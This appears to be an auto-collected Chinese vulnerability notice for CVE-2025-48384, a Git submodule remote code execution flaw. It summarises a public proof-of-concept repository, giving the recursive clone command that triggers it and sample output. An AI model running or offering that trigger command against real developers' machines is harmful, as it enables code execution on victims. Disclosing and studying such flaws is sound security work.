Git Submodule 远程代码执行漏洞

漏洞信息

漏洞名称: Git Submodule 远程代码执行漏洞

漏洞编号:

  • CVE: CVE-2025-48384

漏洞类型: 命令执行

漏洞等级: 高危

漏洞描述: Git是一个开源的分布式版本控制系统,广泛应用于软件开发中的版本管理。它允许开发者通过克隆仓库来获取代码,并支持通过子模块功能引入其他仓库的代码。这一功能在大型项目中尤为重要,因为它允许项目模块化管理。然而,CVE-2025-48384漏洞暴露了Git在处理子模块时的安全缺陷。该漏洞属于命令执行类型,其根本原因在于Git在处理特定配置的子模块时,未能充分验证和限制子模块的克隆操作,导致攻击者可以通过构造恶意的.gitmodules文件和子模块仓库,诱使受害者执行任意命令。这种漏洞的利用不需要用户交互,攻击者只需诱骗受害者克隆包含恶意子模块的仓库即可。由于Git的广泛使用,这一漏洞对开发者构成了严重的安全威胁,可能导致攻击者在受害者的机器上执行任意代码,进而窃取敏感信息、破坏系统或进行其他恶意活动。

产品厂商: Git

产品名称: Git

来源: https://github.com/liamg/CVE-2025-48384

类型: CVE-2025:github search

仓库文件

  • .gitmodules
  • README.md
  • sub
  • sub

来源概述

PoC for CVE-2025-48384

See CVE-2025-48384

To run:

1
git -c protocol.file.allow=always clone --recurse-submodules git@github.com:liamg/CVE-2025-48384.git

Example output:

1
2
3
4
5
6
7
8
9
10
11
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test
Cloning into 'test'...
done.
'ubmodule 'sub' (git@github.com:liamg/CVE-2025-48384-submodule.git) registered for path 'sub
'...ing into '/Users/liamg/bad-clone4/sub
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 5 (delta 0), reused 5 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (5/5), done.
Uh-oh, this is an RCE!

Git Submodule 远程代码执行漏洞
http://example.com/2025/07/09/github_3318837204/
作者
lianccc
发布于
2025年7月9日
许可协议